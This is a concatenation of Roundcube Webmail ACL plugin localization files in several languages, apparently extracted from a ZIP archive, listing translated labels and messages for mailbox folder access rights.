$labels['longaclw'] = 'Indicatoarele și cuvintele cheie ale mesajelor se pot schimba cu excepția Văzut și Șters';
$labels['longacli'] = 'Mesajul se poate scrie sau copia într-un dosar';
$labels['longaclp'] = 'Mesajele se pot trimite către acest dosar';
$labels['longaclc'] = 'Dosarele se pot crea (sau redenumi) direct sub acest dosar';
$labels['longaclk'] = 'Dosarele se pot crea (sau redenumi) direct sub acest dosar';
$labels['longacld'] = 'Indicatorul de Șters al mesajelor se poate modifica';
$labels['longaclt'] = 'Indicatorul de Șters al mesajelor se poate modifica';
$labels['longacle'] = 'Mesajele se pot elimina';
$labels['longaclx'] = 'Dosarul se poate șterge sau redenumi';
$labels['longacla'] = 'Drepturile de acces la dosar se pot schimba';
$labels['longacln'] = 'Metadatele (adnotarile) impartite ale mesajelor pot fi schimbate';
$labels['longaclfull'] = 'Control complet include și administrare dosar';
$labels['longaclread'] = 'Dosarul se poate deschide pentru citire';
$labels['longaclwrite'] = 'Mesajul se poate marca, scrie sau copia într-un dosar';
$labels['longacldelete'] = 'Mesajele se pot șterge';
$labels['longaclother'] = 'Alte drepturi de acces';
$labels['ariasummaryacltable'] = 'Listă drepturi de acces';
$labels['arialabelaclactions'] = 'Arată acțiuni';
$labels['arialabelaclform'] = 'Drepturi de acces de la';
$messages['deleting'] = 'Șterg drepturile de access...';
$messages['saving'] = 'Salvez drepturi accesare...';
$messages['updatesuccess'] = 'Drepturile de acces au fost schimbate cu succes';
$messages['deletesuccess'] = 'Drepturile de acces au fost șterse cu succes';
$messages['createsuccess'] = 'Drepturile de acces au fost adăugate cu succes';
$messages['updateerror'] = 'Nu s-au putut actualiza drepturile de acces';
$messages['deleteerror'] = 'Nu s-au putut șterge drepturile de acces';
$messages['createerror'] = 'Nu s-au putut adăuga drepturi de acces';
$messages['deleteconfirm'] = 'Sunteți sigur că doriți să ștergeți drepturile de acces la utilizatorul (ii) selectați?';
$messages['norights'] = 'Nu au fost specificate drepturi!';
$messages['nouser'] = 'Nu a fost specificat niciun utilizator!';
PKh�\L���*
*
plugins/acl/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Kunhavigado';
$labels['myrights'] = 'Atingrajtoj';
$labels['username'] = 'Uzanto:';
$labels['add'] = 'Aldoni';
$labels['newuser'] = 'Aldoni eron';
$labels['actions'] = 'Agoj de atingrajtoj...';
$labels['anyone'] = 'Ĉiuj uzantoj (iu ajn)';
$labels['anonymous'] = 'Gasto (sennome)';
$labels['identifier'] = 'Identigilo';
$labels['acll'] = 'Elserĉo';
$labels['aclr'] = 'Legi mesaĝojn';
$labels['acls'] = 'Manteni legitan staton';
$labels['acli'] = 'Enmeti (alglui)';
$labels['aclp'] = 'Afiŝi';
$labels['aclc'] = 'Krei subdosierujojn';
$labels['aclk'] = 'Krei subdosierujojn';
$labels['acld'] = 'Forigi mesaĝojn';
$labels['aclt'] = 'Forigi mesaĝojn';
$labels['aclx'] = 'Forigi dosierujon';
$labels['acla'] = 'Administri';
$labels['aclfull'] = 'Plena kontrolo';
$labels['aclother'] = 'Alia';
$labels['aclread'] = 'Legi';
$labels['aclwrite'] = 'Skribi';
$labels['acldelete'] = 'Forigi';
$labels['shortacll'] = 'Elserĉo';
$labels['shortaclr'] = 'Legi';
$labels['shortacls'] = 'Manteni';
$labels['shortaclw'] = 'Skribi';
$labels['shortacli'] = 'Enmeti';
$labels['shortaclp'] = 'Afiŝi';
$labels['shortaclc'] = 'Krei';
$labels['shortaclk'] = 'Krei';
$labels['shortacld'] = 'Forigi';
$labels['shortaclt'] = 'Forigi';
$labels['shortaclx'] = 'Forigo de dosierujo';
$labels['shortacla'] = 'Administri';
$labels['shortaclother'] = 'Alia';
$labels['shortaclread'] = 'Legi';
$labels['shortaclwrite'] = 'Skribi';
$labels['shortacldelete'] = 'Forigi';
$labels['longacll'] = 'La dosierujo videblas en listoj kaj oni povas aboni al ĝi';
$labels['longaclr'] = 'La dosierujo malfermeblas por legado';
$labels['longacli'] = 'Mesaĝoj skribeblas aŭ kopieblas en la dosierujo';
$labels['longaclp'] = 'Mesaĝoj afiŝeblas en ĉi tiu dosierujo';
$labels['longaclread'] = 'La dosierujo malfermeblas por legado';
PKh�\_b�R��"plugins/acl/localization/bn_BD.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['aclread'] = 'পড়';
$labels['acldelete'] = 'ফেলে দিন';
$labels['shortaclr'] = 'পড়';
$labels['shortaclc'] = 'প্রস্তুত করুন';
$labels['shortaclk'] = 'প্রস্তুত করুন';
$labels['shortacld'] = 'ফেলে দিন';
$labels['shortaclt'] = 'ফেলে দিন';
$labels['shortaclread'] = 'পড়';
$labels['shortacldelete'] = 'ফেলে দিন';
PKh�\�,�`��"plugins/acl/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Partage';
$labels['myrights'] = 'Droits d’accès';
$labels['username'] = 'Utilisateur :';
$labels['advanced'] = 'Mode avancé';
$labels['add'] = 'Ajouter';
$labels['newuser'] = 'Ajouter une entrée';
$labels['editperms'] = 'Modifier les permissions';
$labels['actions'] = 'Actions des droits d’accès…';
$labels['anyone'] = 'Tous les utilisateurs (n’importe qui)';
$labels['anonymous'] = 'Invités (anonyme)';
$labels['identifier'] = 'Identifiant';
$labels['acll'] = 'Consultation';
$labels['aclr'] = 'Lire les courriels';
$labels['acls'] = 'Garder l’état « vu »';
$labels['aclw'] = 'Drapeaux d’écriture';
$labels['acli'] = 'Insérer (copier dans)';
$labels['aclp'] = 'Publier';
$labels['aclc'] = 'Créer des sous-dossiers';
$labels['aclk'] = 'Créer des sous-dossiers';
$labels['acld'] = 'Supprimer des courriels';
$labels['aclt'] = 'Supprimer des courriels';
$labels['acle'] = 'Purger';
$labels['aclx'] = 'Supprimer un dossier';
$labels['acla'] = 'Administrer';
$labels['acln'] = 'Annoter les courriels';
$labels['aclfull'] = 'Contrôle total';
$labels['aclother'] = 'Autre';
$labels['aclread'] = 'Lecture';
$labels['aclwrite'] = 'Écriture';
$labels['acldelete'] = 'Supprimer';
$labels['shortacll'] = 'Consultation';
$labels['shortaclr'] = 'Lecture';
$labels['shortacls'] = 'Conserver';
$labels['shortaclw'] = 'Écriture';
$labels['shortacli'] = 'Insérer';
$labels['shortaclp'] = 'Publier';
$labels['shortaclc'] = 'Créer';
$labels['shortaclk'] = 'Créer';
$labels['shortacld'] = 'Supprimer';
$labels['shortaclt'] = 'Supprimer';
$labels['shortacle'] = 'Purger';
$labels['shortaclx'] = 'Suppression de dossier';
$labels['shortacla'] = 'Administrer';
$labels['shortacln'] = 'Annoter';
$labels['shortaclother'] = 'Autre';
$labels['shortaclread'] = 'Lecture';
$labels['shortaclwrite'] = 'Écriture';
$labels['shortacldelete'] = 'Supprimer';
$labels['longacll'] = 'Ce dossier est visible dans les listes et on peut s’y abonner';
$labels['longaclr'] = 'Le dossier peut-être ouvert en lecture';
$labels['longacls'] = 'Le drapeau Vu des courriels peut-être changée';
$labels['longaclw'] = 'Les drapeaux et mots-clés des courriels peuvent être changés, sauf pour Vu et Supprimé';
$labels['longacli'] = 'Les courriels peuvent-être écrits ou copiés dans le dossier';
$labels['longaclp'] = 'Les courriels peuvent-être publiés dans ce dossier';
$labels['longaclc'] = 'Les dossiers peuvent-être créés (ou renommés) directement depuis ce dossier';
$labels['longaclk'] = 'Les dossiers peuvent-être créés (ou renommés) directement depuis ce dossier';
$labels['longacld'] = 'Le drapeau de suppression des courriels peut-être modifiée';
$labels['longaclt'] = 'Le drapeau de suppression des courriels peut-être modifiée';
$labels['longacle'] = 'Les courriels peuvent-être purgés';
$labels['longaclx'] = 'Le dossier peut-être supprimé ou renommé';
$labels['longacla'] = 'Les droits d’accès du dossier peuvent être modifiés';
$labels['longacln'] = 'Les métadonnées partagées des courriels (annotations) peuvent être changées';
$labels['longaclfull'] = 'Contrôle total, incluant l’administration des dossiers';
$labels['longaclread'] = 'Le dossier peut-être ouvert en lecture';
$labels['longaclwrite'] = 'Les courriels peuvent-être marqués, écrits ou copiés dans ce dossier';
$labels['longacldelete'] = 'Les courriels peuvent être supprimés';
$labels['longaclother'] = 'Autres droits d’accès';
$labels['ariasummaryacltable'] = 'Liste de droits d’accès';
$labels['arialabelaclactions'] = 'Actions de listage';
$labels['arialabelaclform'] = 'Formulaire de droits d’accès';
$messages['deleting'] = 'Suppression des droits d’accès…';
$messages['saving'] = 'Enregistrement des droits d’accès…';
$messages['updatesuccess'] = 'Les droits d’accès ont été changés avec succès';
$messages['deletesuccess'] = 'Les droits d’accès ont été supprimés avec succès';
$messages['createsuccess'] = 'Les droits d’accès ont été ajoutés avec succès';
$messages['updateerror'] = 'Impossible de mettre à jour les droits d’accès';
$messages['deleteerror'] = 'Impossible de supprimer les droits d’accès';
$messages['createerror'] = 'Impossible d’ajouter des droits d’accès';
$messages['deleteconfirm'] = 'Êtes-vous certain de vouloir retirer les droits d’accès des utilisateurs sélectionnés ?';
$messages['norights'] = 'Aucun droit n’a été indiqué';
$messages['nouser'] = 'Aucun nom d’utilisateur n’a été indiqué';
PKh�\RԨ�ii"plugins/acl/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Dijeljenje';
$labels['myrights'] = 'Prava pristupa';
$labels['username'] = 'Korisnik:';
$labels['advanced'] = 'Napredni način';
$labels['add'] = 'Dodaj';
$labels['newuser'] = 'Dodaj unos/pravilo';
$labels['editperms'] = 'Uredi dozvole';
$labels['actions'] = 'Akcije prava pristupa...';
$labels['anyone'] = 'Svi korisnici (anyone)';
$labels['anonymous'] = 'Gosti (anonymous)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Pretraga';
$labels['aclr'] = 'Pročitaj poruke';
$labels['acls'] = 'Zadrži u stanju "Viđeno"';
$labels['aclw'] = 'Zapiši oznake';
$labels['acli'] = 'Umetni (kopiraj u)';
$labels['aclp'] = 'Pošalji';
$labels['aclc'] = 'Napravi podmapu';
$labels['aclk'] = 'Napravi podmapu';
$labels['acld'] = 'Obriši poruke';
$labels['aclt'] = 'Obriši poruke';
$labels['acle'] = 'Trajno obriši';
$labels['aclx'] = 'Obriši mapu';
$labels['acla'] = 'Administriraj';
$labels['acln'] = 'Zabilježi poruke';
$labels['aclfull'] = 'Potpuna kontrola';
$labels['aclother'] = 'Drugo';
$labels['aclread'] = 'Čitanje';
$labels['aclwrite'] = 'Pisanje';
$labels['acldelete'] = 'Obriši';
$labels['shortacll'] = 'Pretraži';
$labels['shortaclr'] = 'Čitaj';
$labels['shortacls'] = 'Zadrži';
$labels['shortaclw'] = 'Piši';
$labels['shortacli'] = 'Umetni';
$labels['shortaclp'] = 'Pošalji';
$labels['shortaclc'] = 'Stvori';
$labels['shortaclk'] = 'Stvori';
$labels['shortacld'] = 'Obriši';
$labels['shortaclt'] = 'Obriši';
$labels['shortacle'] = 'Trajno obriši';
$labels['shortaclx'] = 'Obriši mapu';
$labels['shortacla'] = 'Administriraj';
$labels['shortacln'] = 'Zabilježi';
$labels['shortaclother'] = 'Drugo';
$labels['shortaclread'] = 'Čitanje';
$labels['shortaclwrite'] = 'Pisanje';
$labels['shortacldelete'] = 'Brisanje';
$labels['longacll'] = 'Mapa je vidljiva u listi i može se na nju pretplatiti';
$labels['longaclr'] = 'Mapa može biti otvorena za čitanje';
$labels['longacls'] = 'Oznaku "Viđeno" je moguće mijenjati u porukama';
$labels['longaclw'] = 'Oznake i ključne riječi, osim oznaka "Viđeno" i "Obrisano", se mogu mijenjati';
$labels['longacli'] = 'Poruke mogu biti pohranjene ili kopirane u mapu';
$labels['longaclp'] = 'Poruke mogu biti postavljene u mapu';
$labels['longaclc'] = 'Mape pod ovom mapom se mogu stvarati (i preimenovati)';
$labels['longaclk'] = 'Mape pod ovom mapom se mogu stvarati (i preimenovati)';
$labels['longacld'] = 'Oznaku "Obrisano" je moguće mijenjati u porukama';
$labels['longaclt'] = 'Oznaku "Obrisano" je moguće mijenjati u porukama';
$labels['longacle'] = 'Poruke mogu biti izbrisane';
$labels['longaclx'] = 'Mapa može biti obrisana ili preimenovana';
$labels['longacla'] = 'Prava pristupa nad mapom se mogu mijenjati';
$labels['longaclfull'] = 'Potpuna kontrola uključujući administraciju mapa';
$labels['longaclread'] = 'Mapa može biti otvorena za čitanje';
$labels['longaclwrite'] = 'Poruke mogu biti označene, pohranjene ili kopirane u mapu';
$labels['longacldelete'] = 'Poruke mogu biti obrisane';
$labels['longaclother'] = 'Ostala prava pristupa';
$labels['ariasummaryacltable'] = 'Popis prava pristupa';
$labels['arialabelaclactions'] = 'Popis radnji';
$labels['arialabelaclform'] = 'Obrazac prava pristupa';
$messages['deleting'] = 'Brišem prava pristupa...';
$messages['saving'] = 'Pohranjujem prava pristupa';
$messages['updatesuccess'] = 'Prava pristupa uspješno promjenjena';
$messages['deletesuccess'] = 'Prava pristupa uspješno obrisana';
$messages['createsuccess'] = 'Prava pristupa uspješno dodana';
$messages['updateerror'] = 'Ne mogu pohraniti vCard';
$messages['deleteerror'] = 'Ne mogu obrisati prava pristupa';
$messages['createerror'] = 'Ne mogu dodati prava pristupa';
$messages['deleteconfirm'] = 'Jeste li sigurni da želite obrisati prava pristupa za odabranog korisnika(e)?';
$messages['norights'] = 'Nije navedeno pravo pristupa!';
$messages['nouser'] = 'Nije navedeno korisničko ime!';
PKh�\�;�ѭ�"plugins/acl/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Udostępnianie';
$labels['myrights'] = 'Prawa dostępu';
$labels['username'] = 'Użytkownik:';
$labels['advanced'] = 'Tryb zaawansowany';
$labels['add'] = 'Dodaj';
$labels['newuser'] = 'Dodaj rekord';
$labels['editperms'] = 'Edytuj zezwolenia';
$labels['actions'] = 'Akcje na prawach...';
$labels['anyone'] = 'Wszyscy (anyone)';
$labels['anonymous'] = 'Goście (anonymous)';
$labels['identifier'] = 'Identyfikator';
$labels['acll'] = 'Podgląd';
$labels['aclr'] = 'Odczyt (Read)';
$labels['acls'] = 'Zmiana stanu wiadomości (Keep)';
$labels['aclw'] = 'Zmiana flag wiadomości (Write)';
$labels['acli'] = 'Dodawanie/Kopiowanie do (Insert)';
$labels['aclp'] = 'Wysyłanie';
$labels['aclc'] = 'Tworzenie podfolderów (Create)';
$labels['aclk'] = 'Tworzenie podfolderów (Create)';
$labels['acld'] = 'Usuwanie wiadomości (Delete)';
$labels['aclt'] = 'Usuwanie wiadomości (Delete)';
$labels['acle'] = 'Porządkowanie';
$labels['aclx'] = 'Usuwanie folderu (Delete)';
$labels['acla'] = 'Administracja';
$labels['acln'] = 'Adnotacje wiadomości';
$labels['aclfull'] = 'Wszystkie';
$labels['aclother'] = 'Pozostałe';
$labels['aclread'] = 'Odczyt';
$labels['aclwrite'] = 'Zapis';
$labels['acldelete'] = 'Usuwanie';
$labels['shortacll'] = 'Podgląd';
$labels['shortaclr'] = 'Odczyt';
$labels['shortacls'] = 'Zmiana';
$labels['shortaclw'] = 'Zapis';
$labels['shortacli'] = 'Dodawanie';
$labels['shortaclp'] = 'Wysyłanie';
$labels['shortaclc'] = 'Tworzenie';
$labels['shortaclk'] = 'Tworzenie';
$labels['shortacld'] = 'Usuwanie';
$labels['shortaclt'] = 'Usuwanie';
$labels['shortacle'] = 'Porządkowanie';
$labels['shortaclx'] = 'Usuwanie folderu';
$labels['shortacla'] = 'Administracja';
$labels['shortacln'] = 'Adnotacje';
$labels['shortaclother'] = 'Pozostałe';
$labels['shortaclread'] = 'Odczyt';
$labels['shortaclwrite'] = 'Zapis';
$labels['shortacldelete'] = 'Usuwanie';
$labels['longacll'] = 'Pozwala na subskrybowanie folderu i powoduje, że jest on widoczny na liście';
$labels['longaclr'] = 'Folder może być otwarty w trybie do odczytu';
$labels['longacls'] = 'Pozwala na zmienę stanu wiadomości';
$labels['longaclw'] = 'Pozwala zmieniać wszystkie flagi wiadomości, oprócz "Przeczytano" i "Usunięto';
$labels['longacli'] = 'Pozwala zapisywać wiadomości i kopiować do folderu';
$labels['longaclp'] = 'Pozwala wysyłać wiadomości do folderu';
$labels['longaclc'] = 'Pozwala tworzyć (lub zmieniać nazwę) podfoldery';
$labels['longaclk'] = 'Pozwala tworzyć (lub zmieniać nazwę) podfoldery';
$labels['longacld'] = 'Pozwala zmianiać flagę "Usunięto" wiadomości';
$labels['longaclt'] = 'Pozwala zmianiać flagę "Usunięto" wiadomości';
$labels['longacle'] = 'Pozwala na usuwanie wiadomości oznaczonych do usunięcia';
$labels['longaclx'] = 'Pozwala na zmianę nazwy lub usunięcie folderu';
$labels['longacla'] = 'Pozwala na zmiane praw dostępu do folderu';
$labels['longacln'] = 'Pozwala na zmianę współdzielonych meta-danych wiadomości (adnotacji)';
$labels['longaclfull'] = 'Pełna kontrola włącznie z administrowaniem folderem';
$labels['longaclread'] = 'Folder może być otwarty w trybie do odczytu';
$labels['longaclwrite'] = 'Wiadomości mogą być oznaczane, zapisywane i kopiowane do folderu';
$labels['longacldelete'] = 'Wiadomości mogą być usuwane';
$labels['longaclother'] = 'Inne prawa dostępu';
$labels['ariasummaryacltable'] = 'Spis praw dostępu';
$labels['arialabelaclactions'] = 'Lista działań';
$labels['arialabelaclform'] = 'Formularz praw dostępu';
$messages['deleting'] = 'Usuwanie praw dostępu...';
$messages['saving'] = 'Zapisywanie praw dostępu...';
$messages['updatesuccess'] = 'Pomyślnie zmieniono prawa dostępu';
$messages['deletesuccess'] = 'Pomyślnie usunięto prawa dostępu';
$messages['createsuccess'] = 'Pomyślnie dodano prawa dostępu';
$messages['updateerror'] = 'Nie udało się zaktualizować praw dostępu';
$messages['deleteerror'] = 'Nie udało się usunąć praw dostępu';
$messages['createerror'] = 'Nie udało się dodać praw dostępu';
$messages['deleteconfirm'] = 'Czy na pewno chcesz usunąć prawa wybranym użytkownikom?';
$messages['norights'] = 'Nie wybrano praw dostępu!';
$messages['nouser'] = 'Nie podano nazwy użytkownika!';
PKh�\i��׺�"plugins/acl/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['add'] = 'समावेश करा';
$labels['aclother'] = 'इतर';
$labels['acldelete'] = 'नष्ट करा';
$labels['shortaclc'] = 'तयार करा';
$labels['shortaclk'] = 'तयार करा';
$labels['shortacld'] = 'नष्ट करा';
$labels['shortaclt'] = 'नष्ट करा';
$labels['shortaclother'] = 'इतर';
$labels['shortacldelete'] = 'नष्ट करा';
PKh�\��t��"plugins/acl/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = '共有';
$labels['myrights'] = 'アクセス権';
$labels['username'] = 'ユーザー:';
$labels['advanced'] = '詳細なモード';
$labels['add'] = '追加';
$labels['newuser'] = '項目を追加';
$labels['editperms'] = '編集の権限';
$labels['actions'] = 'アクセス権の動作...';
$labels['anyone'] = '(誰でも)すべてのユーザー';
$labels['anonymous'] = 'ゲスト(匿名)';
$labels['identifier'] = '識別子';
$labels['acll'] = '検索';
$labels['aclr'] = 'メッセージを読む';
$labels['acls'] = '既読の状態を保持';
$labels['aclw'] = '書き込みフラッグ';
$labels['acli'] = '挿入(中に複製)';
$labels['aclp'] = '投稿';
$labels['aclc'] = 'サブフォルダを作成';
$labels['aclk'] = 'サブフォルダを作成';
$labels['acld'] = 'メッセージを削除';
$labels['aclt'] = 'メッセージを削除';
$labels['acle'] = '抹消';
$labels['aclx'] = 'フォルダーを削除';
$labels['acla'] = '管理';
$labels['acln'] = 'メッセージに注釈';
$labels['aclfull'] = '完全な制御';
$labels['aclother'] = 'その他';
$labels['aclread'] = '読み込み';
$labels['aclwrite'] = '書き込み';
$labels['acldelete'] = '削除';
$labels['shortacll'] = '検索';
$labels['shortaclr'] = '読み込み';
$labels['shortacls'] = '保持';
$labels['shortaclw'] = '書き込み';
$labels['shortacli'] = '挿入';
$labels['shortaclp'] = '投稿';
$labels['shortaclc'] = '作成';
$labels['shortaclk'] = '作成';
$labels['shortacld'] = '削除';
$labels['shortaclt'] = '削除';
$labels['shortacle'] = '抹消';
$labels['shortaclx'] = 'フォルダーの削除';
$labels['shortacla'] = '管理';
$labels['shortacln'] = '注釈';
$labels['shortaclother'] = 'その他';
$labels['shortaclread'] = '読み込み';
$labels['shortaclwrite'] = '書き込み';
$labels['shortacldelete'] = '削除';
$labels['longacll'] = 'フォルダーをリストに見えるようにして登録可能:';
$labels['longaclr'] = 'フォルダーを読むことを可能';
$labels['longacls'] = 'メッセージの既読のフラッグの変更を可能';
$labels['longaclw'] = '既読と削除のフラッグを除く、メッセージのフラッグとキーワードの変更を可能';
$labels['longacli'] = 'メッセージに書き込みとフォルダーへの複製を可能';
$labels['longaclp'] = 'メッセージをこのフォルダーに投稿を可能';
$labels['longaclc'] = 'このフォルダーの直下にフォルダーの作成と名前の変更を可能';
$labels['longaclk'] = 'このフォルダーの直下にフォルダーの作成と名前の変更を可能';
$labels['longacld'] = 'メッセージの削除フラッグの変更を可能';
$labels['longaclt'] = 'メッセージの削除フラッグの変更を可能';
$labels['longacle'] = 'メッセージの抹消を可能';
$labels['longaclx'] = 'このフォルダーの削除や名前の変更を可能';
$labels['longacla'] = 'フォルダーのアクセス権の変更を可能';
$labels['longacln'] = 'メッセージの共有されるメタデータ(注釈)の変更を可能';
$labels['longaclfull'] = 'フォルダーの管理を含めた完全な制御を可能';
$labels['longaclread'] = 'フォルダーを読むことを可能';
$labels['longaclwrite'] = 'メッセージにマークの設定、書き込み、フォルダーに複製を可能';
$labels['longacldelete'] = 'メッセージの削除を可能';
$labels['longaclother'] = '他のアクセス権';
$labels['ariasummaryacltable'] = 'アクセス権の一覧';
$labels['arialabelaclactions'] = '動作を一覧';
$labels['arialabelaclform'] = 'アクセス権の欄';
$messages['deleting'] = 'アクセス権を削除中...';
$messages['saving'] = 'アクセス権を保存中...';
$messages['updatesuccess'] = 'アクセス権を変更しました。';
$messages['deletesuccess'] = 'アクセス権を削除しました。';
$messages['createsuccess'] = 'アクセス権を追加しました。';
$messages['updateerror'] = 'アクセス権を更新できません。';
$messages['deleteerror'] = 'アクセス権を削除できません。';
$messages['createerror'] = 'アクセス権を追加できません。';
$messages['deleteconfirm'] = '選択したユーザーのアクセス件を本当に削除したいですか?';
$messages['norights'] = '何の権限も指定されていません!';
$messages['nouser'] = 'ユーザー名を指定していません!';
PKh�\�eq))plugins/acl/localization/ps.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/


$labels['acldelete'] = 'ړنګول';
$labels['shortaclc'] = 'جوړول، رامنځ ته کول';
$labels['shortaclk'] = 'جوړول، رامنځ ته کول';
$labels['shortacld'] = 'ړنګول';
$labels['shortaclt'] = 'ړنګول';
$labels['shortacldelete'] = 'ړنګول';
PKh�\�t���"plugins/acl/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deling';
$labels['myrights'] = 'Tilgangsrettar';
$labels['username'] = 'Brukar:';
$labels['add'] = 'Legg til';
$labels['newuser'] = 'Legg til oppføring';
$labels['editperms'] = 'Endr innstillingar for tilgong';
$labels['actions'] = 'Val for tilgangsrettar...';
$labels['anyone'] = 'Alle brukarar (alle)';
$labels['anonymous'] = 'Gjester (anonyme)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Oppslag';
$labels['aclr'] = 'Les meldingar';
$labels['acls'] = 'Behald lesestatus';
$labels['aclw'] = 'Skriveflagg';
$labels['acli'] = 'Lim inn';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Opprett undermapper';
$labels['aclk'] = 'Opprett undermapper';
$labels['acld'] = 'Slett meldingar';
$labels['aclt'] = 'Slett meldingar';
$labels['acle'] = 'Slett fullstendig';
$labels['aclx'] = 'Slett mappe';
$labels['acla'] = 'Administrér';
$labels['aclfull'] = 'Full kontroll';
$labels['aclother'] = 'Anna';
$labels['aclread'] = 'Les';
$labels['aclwrite'] = 'Skriv';
$labels['acldelete'] = 'Slett';
$labels['shortacll'] = 'Oppslag';
$labels['shortaclr'] = 'Les';
$labels['shortacls'] = 'Behald';
$labels['shortaclw'] = 'Skriv';
$labels['shortacli'] = 'Sett inn';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Opprett';
$labels['shortaclk'] = 'Opprett';
$labels['shortacld'] = 'Slett';
$labels['shortaclt'] = 'Slett';
$labels['shortacle'] = 'Slett fullstendig';
$labels['shortaclx'] = 'Slett mappe';
$labels['shortacla'] = 'Administrér';
$labels['shortaclother'] = 'Anna';
$labels['shortaclread'] = 'Les';
$labels['shortaclwrite'] = 'Skriv';
$labels['shortacldelete'] = 'Slett';
$labels['longacll'] = 'Mappa er synleg og kan abonnerast på';
$labels['longaclr'] = 'Mappa kan opnast for lesing';
$labels['longacls'] = 'Meldingane sine lesestatusflagg kan endrast';
$labels['longaclw'] = 'Meldingsflagg og -nøkkelord kan endrast, bortsett frå status for lesing og sletting';
$labels['longacli'] = 'Meldingar kan lagrast eller kopierast til mappa';
$labels['longaclp'] = 'Meldingar kan postast til denne mappa';
$labels['longaclc'] = 'Mapper kan opprettast (eller namnast om) direkte under denne mappa';
$labels['longaclk'] = 'Mapper kan opprettast (eller namnast om) direkte under denne mappa';
$labels['longacld'] = 'Meldingane sine flagg for sletting kan endrast';
$labels['longaclt'] = 'Meldingane sine flagg for sletting kan endrast';
$labels['longacle'] = 'Meldinga kan slettast for godt';
$labels['longaclx'] = 'Mappa kan slettast eller få nytt namn';
$labels['longacla'] = 'Mappa sine tilgangsrettar kan endrast';
$labels['longaclfull'] = 'Full kontroll, inkludert mappeadministrasjon';
$labels['longaclread'] = 'Mappa kan opnast for lesing';
$labels['longaclwrite'] = 'Meldingar kan merkast, lagrast i eller flyttast til mappa';
$labels['longacldelete'] = 'Meldinga kan slettast';
$messages['deleting'] = 'Slettar tilgangsrettar…';
$messages['saving'] = 'Lagrar tilgangsrettar…';
$messages['updatesuccess'] = 'Tilgangsrettiar vart endra';
$messages['deletesuccess'] = 'Tilgangsretter vart sletta';
$messages['createsuccess'] = 'Tilgangsrettar vart legne til';
$messages['deleteerror'] = 'Kunne ikkje fjerne tilgangsrettar';
$messages['createerror'] = 'Kunne ikkje leggje til tilgangsrettar';
